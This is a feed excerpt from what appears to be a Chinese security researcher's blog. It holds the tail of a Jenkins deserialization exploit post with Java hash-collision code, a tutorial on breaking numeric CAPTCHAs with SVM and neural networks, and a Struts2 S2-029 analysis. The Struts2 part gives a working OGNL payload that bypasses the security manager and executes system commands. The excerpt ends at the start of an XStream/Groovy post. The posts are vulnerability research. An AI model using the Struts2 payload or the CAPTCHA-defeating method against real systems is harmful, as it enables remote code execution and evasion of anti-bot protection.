</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@return</span> string with a hash equal to the argument.</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@author</span> - Joseph Darcy</span></span><br><span class="line"><span class="comment">	 */</span></span><br><span class="line">	<span class="function"><span class="keyword">public</span> <span class="keyword">static</span> String <span class="title">unhash</span><span class="params">(<span class="keyword">int</span> target)</span> </span>&#123;</span><br><span class="line">		StringBuilder answer = <span class="keyword">new</span> StringBuilder();</span><br><span class="line">		<span class="keyword">if</span> (target &lt; <span class="number">0</span>) &#123;</span><br><span class="line">			<span class="comment">// String with hash of Integer.MIN_VALUE, 0x80000000</span></span><br><span class="line">			answer.append(<span class="string">"\u0915\u0009\u001e\u000c\u0002"</span>);</span><br><span class="line"></span><br><span class="line">			<span class="keyword">if</span> (target == Integer.MIN_VALUE)</span><br><span class="line">				<span class="keyword">return</span> answer.toString();</span><br><span class="line">			<span class="comment">// Find target without sign bit set</span></span><br><span class="line">			target = target &amp; Integer.MAX_VALUE;</span><br><span class="line">		&#125;</span><br><span class="line"></span><br><span class="line">		unhash0(answer, target);</span><br><span class="line">		<span class="keyword">return</span> answer.toString();</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="comment">/**</span></span><br><span class="line"><span class="comment">	 * </span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@author</span> - Joseph Darcy</span></span><br><span class="line"><span class="comment">	 */</span></span><br><span class="line">	<span class="function"><span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">unhash0</span><span class="params">(StringBuilder partial, <span class="keyword">int</span> target)</span> </span>&#123;</span><br><span class="line">		<span class="keyword">int</span> div = target / <span class="number">31</span>;</span><br><span class="line">		<span class="keyword">int</span> rem = target % <span class="number">31</span>;</span><br><span class="line"></span><br><span class="line">		<span class="keyword">if</span> (div &lt;= Character.MAX_VALUE) &#123;</span><br><span class="line">			<span class="keyword">if</span> (div != <span class="number">0</span>)</span><br><span class="line">				partial.append((<span class="keyword">char</span>) div);</span><br><span class="line">			partial.append((<span class="keyword">char</span>) rem);</span><br><span class="line">		&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">			unhash0(partial, div);</span><br><span class="line">			partial.append((<span class="keyword">char</span>) rem);</span><br><span class="line">		&#125;</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> </span>&#123;</span><br><span class="line">		System.out.println(convert(unhash(<span class="number">877174790</span>)));</span><br><span class="line">		System.out.println(<span class="string">"\u0915\u0009\u001e\u000c\u0002\u5569\u001b\u0006\u001b"</span>.hashCode());</span><br><span class="line">	&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>补一张成功利用的截图</p>
<p><div align="center"><br><img src="/attach/jenkins-exploit.jpg" alt="/attach/jenkins-exploit.jpg"><br></div></p>
<h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>只要方向对，撸起袖子加油干！</p>
<h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><p>[1] <a href="https://github.com/rapid7/metasploit-framework/pull/7815" target="_blank" rel="noopener">https://github.com/rapid7/metasploit-framework/pull/7815</a></p>
<p>注：转载请保留版权。</p>
]]></content>
    
    <summary type="html">
    
      &lt;blockquote&gt;
&lt;p&gt;这个漏洞在去年11月份官方发布通告的时候我当时关注过，当时自己一直在找&lt;strong&gt;&lt;em&gt;com.sun.jndi.ldap.LdapAttribute&lt;/em&gt;&lt;/strong&gt;这个类相关的反序列化，当时意识到这个类里面的&lt;strong&gt;&lt;e
    
    </summary>
    
      <category term="JAVA" scheme="https://www.iswin.org/categories/JAVA/"/>
    
    
      <category term="JAVA" scheme="https://www.iswin.org/tags/JAVA/"/>
    
      <category term="Deserialize" scheme="https://www.iswin.org/tags/Deserialize/"/>
    
  </entry>
  
  <entry>
    <title>机器学习之识别简单验证码</title>
    <link href="https://www.iswin.org/2016/10/15/Simple-CAPTCHA-Recognition-with-Machine-Learning/"/>
    <id>https://www.iswin.org/2016/10/15/Simple-CAPTCHA-Recognition-with-Machine-Learning/</id>
    <published>2016-10-15T14:46:31.000Z</published>
    <updated>2017-01-24T03:38:54.000Z</updated>
    
    <content type="html"><![CDATA[<blockquote>
<p>关于验证码识别的文章网上很多图像识别的大神教程也比较多，不过大多数专业性太强了，对非专业人士读起来简直是天书，不过随着机器学习的普及，一大批机器学习的开源工具出现了，这也算对大多数像我一样的学渣的福音，由于最近项目中牵扯到了一些机器学习相关的东西，所以自己最近也一直在学习机器相关的东西，这篇验证码的识别也算是练手了，本文也算是学习中的笔记，所以文章中难免有一些错误，欢迎各路大神指点。</p>
</blockquote>
<p>由于本人不是相关专业的，对于文中相关算法就不会具体去讨论了，主要以实战为目的。</p>
<h2 id="准备工作"><a href="#准备工作" class="headerlink" title="准备工作"></a>准备工作</h2><p>主要是用到了一些机器学习开源的框架以及一些辅助工具。</p>
<ul>
<li><a href="http://scikit-learn.org/" target="_blank" rel="noopener">Scikit-Learn</a>  比较有名的Python机器学习模块,主要是操作简单。</li>
<li><a href="http://pybrain.org/" target="_blank" rel="noopener">Pybrain</a> Python机器学习模块，主要以神经网络为核心，所有的训练方法都以神经网络为一个实例。</li>
<li><a href="https://pypi.python.org/pypi/pytesseract/" target="_blank" rel="noopener">pytesseract</a> 图像识别小工具，本文主要是用来预处理训练样本的。</li>
<li>PIL Python图像处理库。</li>
</ul>
<h2 id="问题分析"><a href="#问题分析" class="headerlink" title="问题分析"></a>问题分析</h2><p>首先在进行具体工作之前，我们得看看我们需要解决的是什么问题，那么对于验证码识别来说，可以看作一个分类问题，对于数字的图片验证码来说的话，其实就是0-9数字分类的问题，验证码识别最难的部分在于怎么去将验证码进行切割成单个字符图片，当然对于图片裁剪也就是特征提取有很多办法，例如垂直投影法，等距切割法等等，其中等距切割也是比较简单的，但是对于稍微复杂一点的验证码识别时准确率非常低，因为等距切割时将验证码按照相同的宽度进行裁剪，对于那些字符宽度大小不一的，就算裁剪出来也不能很好的表示字符的特征，所以有时候需要先对图片进行一系列的预处理，例如字符矫正等等，然后再用垂直投影法在x轴和y轴上按照投影的大小进行裁剪。</p>
<p>对于垂直投影法来说的话，最后我们还得考虑训练集在维度上都同意，由于是非等级切割，所以每个图片的像素肯定不一样，所以为了维度统一还得进行填充，总之稍微麻烦一点。</p>
<p>这里主要是以等距切割为例子，因为在操作起来比较简单，那么掩码也是选用0-9的纯数字验证码来进行识别，验证码如下</p>
<div align="center"><br><img src="/attach/AuthCode.jpg" alt="/attach/AuthCode.jpg"><br></div><br>这样的图片看起来的话间距基本上都差不多大，所以在分割时也比较容易，将图片切成四块后，就可以拿每一块去进行训练识别了。<br><br>使用机器学习来进行训练和识别的话，我们就得考虑特征选取了，一般验证码识别有一套标准的流程，图片来自于<a href="http://www.jianshu.com/p/41127bf90ca9" target="_blank" rel="noopener">http://www.jianshu.com/p/41127bf90ca9</a><br><div align="center"><br><img src="/attach/machineLearn-serias.png" alt="/attach/machineLearn-serias.png"><br></div>

<p>对于验证码识别来说我们关注的不是验证码的颜色，而是字符代表的含义，所以在图片处理时进行灰度化和二值化以及去噪，比如说去掉干扰线，那么去噪也有相应的算法来实现，这里不做具体讨论，二值化其实就是将图片呈现出两种颜色，即非黑即白，这样的好处是在特征处理时可以使用0和1来代表黑色和白色，0和1代表什么颜色取决于个人喜好。</p>
<p>这样的话将二值化和其它步骤处理后的图片进行特征提取，将黑色像素点标记成1，白色像素点标记成0，这样就可以得到图片的数值表示，那么特征维度就等于图片像素的大小，最终将图片按照X轴或者Y轴表示，即将像素的所标记的值合并到一行，例如</p>
<div align="center"><br>1111100000000000010<br><br>1110000000000000000<br></div>

<p>表示成11111000000000000101110000000000000000，这样每张图片就可以使用一行0和1的数值来表示。</p>
<p>进行特征提取之后，我们得到了图片在数学上的表示，那么下一步就需要进行模型训练了，由于如上文所述，图片识别是一个分类问题，所以在机器学习中，我主要采用了两种模型来进行训练，<strong><em>SVM支持向量机</em></strong>和<strong><em>BP神经网络</em></strong>来进行模型训练，SVM使用scikit-learn机器学习包里面的实现来做，神经网络使用Pybrain来进行实现。</p>
<p>有关SVM和BP神经网络的算法部分，大家最好还是去网上搜下相关的Paper，这样你才能知道什么算法能解决什么问题，以及它大概的原理是什么样子的，有能力的同学可以去对推导下这两个算法。</p>
<h2 id="实践"><a href="#实践" class="headerlink" title="实践"></a>实践</h2><p>在问题分析部分我们已经对验证码识别的大概思路有了一个了解，那么这部分则主要正对上面所述部分进行具体实现。</p>
<p>首先，我们应该明白SVM和神经网络模型算法是属于有监督学习，即需要对样本进行标注，也就是标记每张图片表示的是那个数字，但是实际遇到的问题是，如果数据量小的话，我们可以进行人工标注，那么在数据量比较大的情况下，人工标注可能就不太现实了，所以对于图片来说的话也一样，你进行切割完成之后你必须得标注这个数字是几，所以我们需要对切割的图片进行预处理，也就是打标记，我比较懒，所以我也不会一个个去打标签，所以这里使用ocr来对切割的图片进行预分类，ocr在单文字识别上的效果正确率还是可以的，在ocr进行预分类之后，我们只需要去纠正那些分类错误的图片即可，这样就能大大的减少工作量。</p>
<p>这里实现主要有以下几个步骤：</p>
<ol>
<li>图片采集</li>
<li>图片预处理（包括图片切割，二值化以及图像增强）</li>
<li>图片的预分类标注以及手动纠错标注</li>
<li>特征提取</li>
<li>模型训练以及预测</li>
</ol>
<h3 id="图片采集"><a href="#图片采集" class="headerlink" title="图片采集"></a>图片采集</h3><p>图片采集就比较简单，不过多的阐述，如下图代码所示</p>
<div align="center"><br><img src="/attach/machineLearn-downloadfiles.png" alt="/attach/machineLearn-downloadfiles.png"><br></div><br>将下载到了图片按照时间戳存到指定位置<br><div align="center"><br><img src="/attach/machineLearn-pics_sava.png" alt="/attach/machineLearn-pics_sava.png"><br></div>

<h3 id="图片预处理以及图片裁剪"><a href="#图片预处理以及图片裁剪" class="headerlink" title="图片预处理以及图片裁剪"></a>图片预处理以及图片裁剪</h3><p>对图片进行预处理后采用等距切割法对图片进行切割</p>
<div align="center"><br><img src="/attach/machineLearn-cutpics.png" alt="/attach/machineLearn-cutpics.png"><br></div>

<p>裁剪后的图片如下</p>
<div align="center"><br><img src="/attach/machineLearn-cutpicssave.png" alt="/attach/machineLearn-cutpicssave.png"><br></div>

<h3 id="图片预分类"><a href="#图片预分类" class="headerlink" title="图片预分类"></a>图片预分类</h3><p>图片预分类采用pytesseract来对分割的图片进行预分类，减轻工作量。<br>具体代码如下</p>
<div align="center"><br><img src="/attach/machineLearn-ocr_category.png" alt="/attach/machineLearn-ocr_category.png"><br></div>

<p>ocr的分类效果正确率应该在50%以上，剩下的就是对预分类的图片进行人工纠错了。</p>
<p>ocr的分类效果图</p>
<div align="center"><br><img src="/attach/machineLearn-ocr_categoryed.png" alt="/attach/machineLearn-ocr_categoryed.png"><br></div><br>人工纠错和标记后的结果<br><div align="center"><br><img src="/attach/machineLearn-correct_category.png" alt="/attach/machineLearn-correct_category.png"><br></div>

<p>每个目录表示一个类别标签。</p>
<h3 id="特征提取"><a href="#特征提取" class="headerlink" title="特征提取"></a>特征提取</h3><p>特征提取的具体内容请参考问题分析中，里面有详细的说明。<br>关键代码如下</p>
<div align="center"><br><img src="/attach/machineLearn-featureProcess.png" alt="/attach/machineLearn-featureProcess.png"><br></div><br>最终图片的数学上表示会以记录在<strong><em>/Users/iswin/Downloads/yzm/traindata/train_data.txt</em></strong>中，数据的格式如下图所示<br><div align="center"><br><img src="/attach/machineLearn-train_data.png" alt="/attach/machineLearn-train_data.png"><br></div>

<p>红色线框表示一张图片数值上的表示，最后一个数字0表示该图片的类型，我是为了方便把标签追加到最后一行。</p>
<h3 id="SVM模型分类"><a href="#SVM模型分类" class="headerlink" title="SVM模型分类"></a>SVM模型分类</h3><p>这里svm的实现使用了scikit-learn来实现，关于scikit-learn的使用去官网看Tutorial就好了，这里需要说一下SVM关于参数选择的问题，我们都知道SVM支持多个核函数，例如高斯核、线性核、poly以及sgmoid核函数，但是选择那么核函数一开始对于不太熟悉的同学怎么选择的确是个问题，所以这里使用了scikit-learn的GridSearchCV来对参数进行最优化选择，经过参数寻优，这里高斯核的最终效果还是不错的，所以训练的时候直接使用高斯核来进行训练。</p>
<p>为了方便预测时的使用，这里对训练结果使用了joblib模块来进行持久化。为了简单对评价模型进行，这里使用了5折交叉验证来对结果进行检验。</p>
<p>最终结果的准确率在：Accuracy: 0.96 (+/- 0.09)</p>
<p>具体代码如下：</p>
<div align="center"><br><img src="/attach/machineLearn-svm_1.png" alt="/attach/machineLearn-svm_1.png"><br></div><br><div align="center"><br><img src="/attach/machineLearn-svm_2.png" alt="/attach/machineLearn-svm_2.png"><br></div>

<p>举个预测的例子，看看效果</p>
<div align="center"><br><img src="/attach/machineLearn-svm_predict.png" alt="/attach/machineLearn-svm_predict.png"><br></div>

<h3 id="BP神经网络模型分类"><a href="#BP神经网络模型分类" class="headerlink" title="BP神经网络模型分类"></a>BP神经网络模型分类</h3><p>BP神经网络也称负反馈神经网络，即按误差逆传播算法训练的多层前馈网络，是目前应用最广泛的神经网络模型之一，在BP神经网络之后，又出现了在深度学习中应用最广泛的CNN即卷积神经网络，这几天也正在学习。</p>
<p>本文使用了三层BP神经网络来对训练集进行训练，即输入层+2层隐含层+输出层，关于BP神经网络本身这里需要注意的是激活函数的选择以及对于多分类问题输出层函数选择的问题，激活函数主要有sigmod、tanh以及relu，关于怎么选取激活函数，这块没有进行深入了解，一般都是每个激活函数都跑一次，看最终效果。</p>
<p>这里的神经网络模型分类主要是对Pybrain用法的学习以及BP神经网络的基本认识，输入层使用了LinearLayer即线性输入层，隐含层使用了SigmoidLayer即激活函数为sigmod的隐含层，输出层由于是多分类问题，所以使用了SoftmaxLayer，最终在神经网络计算的结果中选取数值最大的那个索引位置就是预测的验证码类别，也就是0-9之间的数值。</p>
<p>关于Pybrain的资料除了官方文档不是特别多，关于构建神经网络的方式提供了两种方式，一种是<strong><em>buildNetwork</em></strong>函数来进行构建，另外一种就是使用<strong><em>FeedForwardNetwork</em></strong>函数来进行构建，这里需要注意的是如果使用<strong><em>FeedForwardNetwork</em></strong>来进行构建的话，注意要手动给各层加上Bias偏置项，否则结果可能可能非常差，当时我实验时没加，半天计算结果不对，最后看了下buildNetwork函数的源代码才发现没加Bias项，还有就是需要注意迭代至收敛的步数即函数中的<strong>*maxEpochs=500</strong>，这个根据情况调整，Pybrain有自己的数据集格式，所以在使用时必须按照它的格式来进行数据的初始化。</p>
<p>这里除了输入层的维度（即验证码的训练集维度）和输出是固定的之外，其中隐含层的神经元个数也是可以调整的，具体的感兴趣的同学自己去调然后再看下结果。</p>
<p>对模型使用10折交叉验证进行了简单评估，错误率在Total error: 0.062左右，效果比SVM的差一点，应该通参数调优应该可以提高准确率，不过重在学习。</p>
<p>训练集样本：<strong><em>/Users/iswin/Downloads/yzm/traindata/train_data_uniq.txt</em></strong></p>
<p>主要代码如下：</p>
<div align="center"><br><img src="/attach/machineLearn-network-1.png" alt="/attach/machineLearn-network-1.png"><br></div><br><div align="center"><br><img src="/attach/machineLearn-network-2.png" alt="/attach/machineLearn-network-2.png"><br></div><br><div align="center"><br><img src="/attach/machineLearn-network-3.png" alt="/attach/machineLearn-network-3.png"><br></div>


<p>举个例子，来看看预测效果</p>
<div align="center"><br><img src="/attach/machineLearn-network-predict.png" alt="/attach/machineLearn-network-predict.png"><br></div>


<h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>通过这个小实验，至少让我对机器学习和相关算法大致有了一个了解，同时作为安全人员来说至少知道了如何使用开源的机器学习框架来构架自己的模型，笔记中难免会有错误之处，欢迎大家提出意见。</p>
]]></content>
    
    <summary type="html">
    
      &lt;blockquote&gt;
&lt;p&gt;关于验证码识别的文章网上很多图像识别的大神教程也比较多，不过大多数专业性太强了，对非专业人士读起来简直是天书，不过随着机器学习的普及，一大批机器学习的开源工具出现了，这也算对大多数像我一样的学渣的福音，由于最近项目中牵扯到了一些机器学习相关的东西，
    
    </summary>
    
      <category term="Python" scheme="https://www.iswin.org/categories/Python/"/>
    
      <category term="Machine Learning" scheme="https://www.iswin.org/categories/Python/Machine-Learning/"/>
    
    
      <category term="Machine Learning" scheme="https://www.iswin.org/tags/Machine-Learning/"/>
    
      <category term="Scikit-Learn" scheme="https://www.iswin.org/tags/Scikit-Learn/"/>
    
      <category term="Pybrain" scheme="https://www.iswin.org/tags/Pybrain/"/>
    
  </entry>
  
  <entry>
    <title>Struts2-S2-029漏洞分析</title>
    <link href="https://www.iswin.org/2016/03/20/Struts2-S2-029%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/"/>
    <id>https://www.iswin.org/2016/03/20/Struts2-S2-029漏洞分析/</id>
    <published>2016-03-20T05:20:12.000Z</published>
    <updated>2016-04-15T16:26:58.000Z</updated>
    
    <content type="html"><![CDATA[<blockquote>
<p>关于这个Struts2的漏洞感慨颇深，首先根据官方漏洞的描述，大家应该能很快找到漏洞出现的位置，基本上Struts2里面大部分标签都是存在OGNL代码二次执行的问题，问题虽然能很容易的发现，但是在最新版本里面要想成功利用该漏洞执行任意代码，需要绕过Struts2的安全管理器，所以说整个漏洞变成了一个如何绕过Struts2安全管理器的问题，我花了很多时间在想办法如何去绕过Struts2的安全管理器，一开始我从来没有想过Struts2里面的_memberAccess变量可以被修改，因为前几次Struts2的RCE问题中_memberAccess变量已经被纳入黑名单了，同时我把Struts2的安全管理器的源代码也看了一遍，似乎都很合理，但是直到安恒研究院的同学把POC丢出来的时候，_memberAccess变量依然可以被修改，真的是让人匪夷所思。所以本文也主要是围绕这个Bypass安全管理器来进行探讨，看看究竟是什么原因导致了Bypass安全管理器。</p>
</blockquote>
<h3 id="漏洞详情"><a href="#漏洞详情" class="headerlink" title="漏洞详情"></a>漏洞详情</h3><p>从官方的描述看来这次是Strut2标签的问题，而且还是标签属性值OGNL二次解析的问题，利用条件比较苛刻，所以说这个漏洞威力并没有那么大，下面直接给出一部分存在问题的标签，其他的标签大家自己去找，这里只列出来几个比较典型的，这里主要说两类标签属性值，一个是id属性，在<strong><strong>org.apache.struts2.components.UIBean</strong></strong>类中我们很容易发现id参数在setID时已经进行了第一次OGNL表达式的执行，如下图<br><img src="/attach/struts2_id_1.png" width="820"><br>然后紧接着在org.apache.struts2.components.UIBean.populateComponentHtmlId(Form)方法中进行了第二次的OGNL表达式解析，如下如的<br><img src="/attach/struts2_id_2.png" width="820"><br>findStringIfAltSyntax方法最终会调用findString方法进行id值的第二次OGNL表达式执行</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">protected</span> String <span class="title">findStringIfAltSyntax</span><span class="params">(String expr)</span> </span>&#123;</span><br><span class="line">		<span class="keyword">if</span> (altSyntax()) &#123;</span><br><span class="line">		    <span class="keyword">return</span> findString(expr);</span><br><span class="line">		&#125;</span><br><span class="line">		<span class="keyword">return</span> expr;</span><br><span class="line">	&#125;</span><br></pre></td></tr></table></figure>
<p>所以说这里凡是调用了org.apache.struts2.components.UIBean.populateComponentHtmlId(Form)方法的标签都存在二次解析的问题，通过eclipse很简单就可以找到有哪些标签存在这个问题，如下图<br><img src="/attach/struts2_id_3.png" width="820"><br>所以下列标签中的id属性只要可控，那么就会导致任意代码执行的问题<br><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">&lt;s:head id=<span class="string">""</span>/&gt;</span><br><span class="line">&lt;s:file id=<span class="string">""</span>/&gt;</span><br><span class="line">&lt;s:reset id=<span class="string">""</span>/&gt;</span><br><span class="line">&lt;s:submit id=<span class="string">""</span>/&gt;</span><br><span class="line">&lt;s:updownselect id=<span class="string">""</span> list=<span class="string">""</span>/&gt;</span><br></pre></td></tr></table></figure></p>
<p>另一类为name属性，name属性的二次解析需要标签中的value为空，这样才能进行二次代码执行，由于name属性调用了org.apache.struts2.components.Component.completeExpressionIfAltSyntax(String)该方法，该方法定义如下</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">protected</span> String <span class="title">completeExpressionIfAltSyntax</span><span class="params">(String expr)</span> </span>&#123;</span><br><span class="line">	<span class="keyword">if</span> (altSyntax()) &#123;</span><br><span class="line">		<span class="keyword">return</span> <span class="string">"%&#123;"</span> + expr + <span class="string">"&#125;"</span>;</span><br><span class="line">	&#125;</span><br><span class="line">	<span class="keyword">return</span> expr;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>该方法会自动在第一次表达式执行后添加%{}来标识这是一个ongl代码块，所以在写POC的时候记得这种情况下不要加%{},因为它会自动添加，比较典型的属性有</p>
<figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;s:hidden name="%&#123;#request.poc&#125;"&gt;&lt;/s:hidden&gt;</span><br></pre></td></tr></table></figure>
<p>其他的标签属性都一样，就不一一列举了。在Struts2的低版本中直接用以前Struts2的POC就可以了，但是在高版本中加入了新的安全策略，所以导致了在新的版本中以前的POC是没法用的。</p>
<p>不过对于漏洞的检测是没啥问题的如下图</p>
<p><img src="/attach/struts2_poc_1.png" width="820"></p>
<p>不能执行命令，对于这个非常鸡肋的漏洞来说就更鸡肋了，下面来看看怎么bypass安全管理器的。</p>
<h3 id="Bypass-Struts2安全管理器"><a href="#Bypass-Struts2安全管理器" class="headerlink" title="Bypass Struts2安全管理器"></a>Bypass Struts2安全管理器</h3><p>在讨论Bypass之前，首先非常感谢<strong><strong>安恒信息安全研究院同学</strong></strong>POC的分享。</p>
<p>在想怎么bypass安全管理器的时候，我对Struts2的安全管理器的策略也是花时间去看了的，毕竟对struts2不是特别的熟悉，我们先看看最新版本里面对OGNL表达式执行做了哪些限制，如下图</p>
<p><img src="/attach/struts2_poc_bypass_4.png" width="820"></p>
<p>Struts2默认的安全规则就是上面红色框标记的部分，主要排除了一些可能存在问题的类以及包，首先来看看安全管理器有哪些东西，如下图<br><img src="/attach/struts2_poc_bypass_1.png" width="820"></p>
<p>SecurityMemberAccess类继承了OGNL默认的的安全管理器DefaultMemberAccess，我们来看看DefaultMemberAccess类中有哪些属性以及他们的访问权限，如下图<br><img src="/attach/struts2_poc_bypass_2.png" width="820"><br>这里可以看到上面圈起来的三个属性的修饰符是public，在DefaultMemberAccess中判断了调用方法的修饰符，如下图<br><img src="/attach/struts2_poc_bypass_3.png" width="820"><br>如果调用属性的修饰符为public时就默认通过，那么我是否可以直接对上述三个属性值进行修改，看样子好像是不行的，因为Struts2的默认规则里面排除了该类型(MemberAccess),但是要想去修改_memberAccess变量中私有的属性值,必须得将上述三个变量设置为true。</p>
<p>我们再来看看SecurityMemberAccess类中是如何对OGNL表达式进行限制的，com.opensymphony.xwork2.ognl.SecurityMemberAccess.isAccessible(Map, Object, Member, String)方法最终进行判断的方法，部分代码如下<br><img src="/attach/struts2_poc_bypass_5.png" width="820"><br><img src="/attach/struts2_poc_bypass_6.png" width="600"><br>首先会按照默认规则进行判断，一旦不满足其中任何一个条件就会返回false，表示该OGNL表达式不具备执行的条件，通过对默认的规则进行分析以及fuzz，发现新版本中的规则都很死，要想执行命令或者静态方法基本上不太现实，但是POC明明是能够成功调用静态方法以及new对象和调用对象的任何方法，究竟是怎么回事？</p>
<p>我把OGNL表达式的执行流程走了一遍，发现Struts2开发人员在对ONGL表达式中的赋值操作时将判断条件写反了，这样一来就直接导致了前边做的所有的安全策略，在这里根本起不了作用，出问题的代码在ognl.ObjectPropertyAccessor.setPossibleProperty(Map, Object, String, Object)，该函数主要是对OGNL语法树中的赋值表达式进行解析以及通过反射去完成相应的赋值操作，具体代码如下<br><img src="/attach/struts2_poc_bypass_7.png" width="820"><br>我们先跟进ognl.OgnlRuntime.setMethodValue(OgnlContext, Object, String, Object, boolean)方法，如下<br><img src="/attach/struts2_poc_bypass_8.png" width="820"><br>也就是说如果ognl.OgnlRuntime.setMethodValue(OgnlContext, Object, String, Object, boolean)方法返回true代表权限检查通过，否则返回false，也就是安全检查失败，但是这里的条件进行判断时把条件给写反了<br>ognl.ObjectPropertyAccessor.setPossibleProperty(Map, Object, String, Object)</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//当条件不满足时返回false，一取反就成true，if条件满足，接着就会调用相关函数进行赋值操作</span></span><br><span class="line"> <span class="keyword">if</span> (!OgnlRuntime.setMethodValue(ognlContext, target, name, value, <span class="keyword">true</span>))</span><br><span class="line">     &#123;</span><br><span class="line">     	result = OgnlRuntime.setFieldValue(ognlContext, target, name, value) ? <span class="keyword">null</span> : OgnlRuntime.NotFound;</span><br><span class="line">     &#125;</span><br></pre></td></tr></table></figure>
<p>所以说上述代码才是实现修改_memberAccess成员变量属性的决定性因素，所以即使做了权限检查，调用了相关判断函数，但是最终应为一个判断条件二前功尽弃，实在是不应该。</p>
<p>就是因为这个关键条件的判断的问题，导致了我们可以修改_memberAccess的任意属性哪怕是私有的属性。</p>
<h3 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h3><p>在bypass过安全管理器后，我们要想实现执行任意代码，只需要allowStaticMethodAccess=true(执行静态方法)，excludedPackageNamePatterns=空集合(可以调用相关包)以及excludedClasses=空集合(可以调用任何类)，满足这三个条件就可以执行任意代码了。</p>
<p>执行命令的POC如下</p>
<figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">#_memberAccess.allowPrivateAccess=true,#_memberAccess.allowStaticMethodAccess=true,#_memberAccess.excludedClasses=#_memberAccess.acceptProperties,#_memberAccess.excludedPackageNamePatterns=#_memberAccess.acceptProperties,#res=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#a=@java.lang.Runtime@getRuntime(),#s=new java.util.Scanner(#a.exec('whoami').getInputStream()).useDelimiter('\\\\A'),#str=#s.hasNext()?#s.next():'',#res.print(#str),#res.close()</span><br></pre></td></tr></table></figure>
<p>这里需要注意的是在一开始的时候我说主要有两类标签属性存在问题，一类是id，一类是name<br>如果id的属性可以控制，类似于下面代码</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;s:file id=<span class="string">"%&#123;#request.poc&#125;"</span> /&gt;</span><br></pre></td></tr></table></figure>
<p>那么对于的POC为如下图<br><img src="/attach/struts2_bypasspoc_1.png" width="820"></p>
<p>如果对应的标签属性为name时，代码如下</p>
<figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;s:hidden name="%&#123;#request.poc&#125;"&gt;&lt;/s:hidden&gt;</span><br></pre></td></tr></table></figure>
<p>POC要稍微有点变化，因为name属性第二次进行OGNL调用时会自动对表达式加上%{}字符，所以对应的POC为如下图<br><img src="/attach/struts2_bypasspoc_2.png" width="820"></p>
<p>不过上述标签的属性值不一定是直接通过参数传进来，具体的利用场景需要结合实际的条件。</p>
<p>###参考<br>[1] :<a href="http://seclab.dbappsecurity.com.cn/?p=678" target="_blank" rel="noopener">http://seclab.dbappsecurity.com.cn/?p=678</a></p>
]]></content>
    
    <summary type="html">
    
      &lt;blockquote&gt;
&lt;p&gt;关于这个Struts2的漏洞感慨颇深，首先根据官方漏洞的描述，大家应该能很快找到漏洞出现的位置，基本上Struts2里面大部分标签都是存在OGNL代码二次执行的问题，问题虽然能很容易的发现，但是在最新版本里面要想成功利用该漏洞执行任意代码，需要绕过
    
    </summary>
    
      <category term="Struts2" scheme="https://www.iswin.org/categories/Struts2/"/>
    
    
      <category term="JAVA" scheme="https://www.iswin.org/tags/JAVA/"/>
    
      <category term="Struts2" scheme="https://www.iswin.org/tags/Struts2/"/>
    
  </entry>
  
  <entry>
    <title>XStream Deserializable Vulnerablity And Groovy CVE-2015-3253漏洞分析</title>
    <link href="https://www.iswin.org/2016/02/27/Xstream-Deserializable-Vulnerablity-And-Groovy-CVE-2015-3253/"/>
    <id>https://www.iswin.org/2016/02/27/Xstream-Deserializable-Vulnerablity-And-Groovy-CVE-2015-3253/</id>
    <published>2016-02-27T08:24:20.000Z</published>
    <updated>2017-01-23T17:21:04.000Z</updated>
    
    <content type="html"><![CDATA[<blockquote>
<p>序列化的问题貌似在最近爆发的非常频繁，最近有小伙伴在问我关于这两天爆发的Xstream组建的反序列化的漏洞，最近公司非常忙，不过赶上周末刚好抽时间看了下，其实这次的漏洞和之前JRE的那个反序列化漏洞触发的条件基本上差不多，不过关于JRE的那个序列化似乎没人关注，有兴趣的同学可以去找找关于那个JRE的序列化，影响力不亚于11月份我分析的那个Apache CommonsCollection的漏洞。好了，回到正文吧。在分析Xstream漏洞时发现,XStream漏洞的根源在于Groovy组件的问题，其实在15年的时候有人给Groovy报了一个CVE-2015-3253的Bug，不过网上似乎没有太多细节，为什么这次分析XStream的漏洞的时候要提到Groovy的那个CVE，因为漏洞的根源就来自于那个CVE。</p>
</blockquote>
<p>先来说说那个Groovy的CVE-2015-3253的漏洞吧。</p>
